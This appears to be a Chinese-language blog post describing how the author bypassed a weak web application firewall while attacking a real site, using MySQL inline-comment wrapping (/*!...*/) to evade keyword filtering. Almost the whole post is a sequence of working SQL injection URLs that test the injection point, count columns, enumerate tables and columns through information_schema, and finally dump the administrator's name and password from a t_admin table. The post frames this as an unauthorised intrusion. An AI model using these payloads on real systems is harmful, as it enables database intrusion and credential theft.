bypass waf入门之sql注入 [ 内联注释篇 ]

0x01 前言
    昨天在搞一个目标的旁站时凑巧又碰到了waf,当然啦,这个waf比较弱,基本是弱到没朋友的那种,但为了博客的完整性,这里还是顺便就记录一下,留给有需要的朋友,方法非常简单,关于bypass waf的东西其实特别多,这里暂时只提一种,”内联注释”,招数早已经烂大街了,后续再遇到其它的bypass实例,也会继续更新到博客上,废话少说,看实例吧:

0x02 依旧是先判断注入点是否存在,很显然,’and’没有拦

1
2
http://www.target.com/news/show1.php?id=1102 And 1212=1212 返回正常
http://www.target.com/news/show1.php?id=1102 And 1212=121 返回异常,注入存在

''
''

0x03 我们观察到,当字段个数为11的时候页面返回正常,说明当前表字段个数为11个,’order by’ 也没有拦,到这里为止,凭着一点经验自己心里就有种感觉,这个waf肯定非常好过,接着往下看吧

1
http://www.target.com/news/show1.php?id=1102 OrDer by 11

''

0x04 开始搜集信息,这时我们发现waf似乎开始起作用了,拦了我们的内置函数

1
http://www.target.com/news/show1.php?id=1102 And 1=12 +UNION+ALL+SELECT+1,2,user(),version(),database(),6,7,8,9,10,11 --+-

''

0x05 既然拦了函数,咱们就把函数给注释一下看看,然后就这么容易的通过了[以为还要折腾很久],好吧,既然它对这种内联注释感冒,那后面我就把所有的关键字都用这种方式包起来,省的我一个个猜它到底拦哪个

1
http://www.target.com/news/show1.php?id=1102 And 1=12 +UNION+ALL+SELECT+1,2,/*!user()*/,version(),database(),6,7,8,9,10,11 --+-

''

0x06 查询当前库中的所有表,这类我们看到了’t_admin’这张管理表

1
http://www.target.com/news/show1.php?id=1102 aNd 1=12 +/*!UNION+ALL+SELECT*/+1,2,/*!group_concat(table_name)*/,/*!version()*/,/*!database()*/,6,7,8,9,10,11 from /*!information_schema.tables*/ /*!where*/ /*!table_schema*/=0x686e797075686b315f7363686f6f6c --+-

''

0x07 查询’t_admin’表中的所有字段名,如下

1
http://www.target.com/news/show1.php?id=1102 ANd 1=12 +/*!UNION+ALL+SELECT*/+1,2,/*!group_concat(column_name)*/,/*!version()*/,/*!database()*/,6,7,8,9,10,11 from /*!information_schema.columns*/ /*!where*/ /*!table_name*/=0x745f61646d696e --+-

''

0x08 就剩最后一步了,查出管理员的账号密码即可

1
http://www.target.com/news/show1.php?id=1102 anD 1=12 +/*!UNION+ALL+SELECT*/+1,2,/*!admin_name*/,/*!admin_password*/,5,6,7,8,9,10,11 from /*!t_admin*/ /*!limit*/ 0,1--+-

''

小结:
    没啥实际的技术含量,只是为了博客完整性稍作记录而已,关于bypass waf后续还会有很多的篇幅来说明,待续…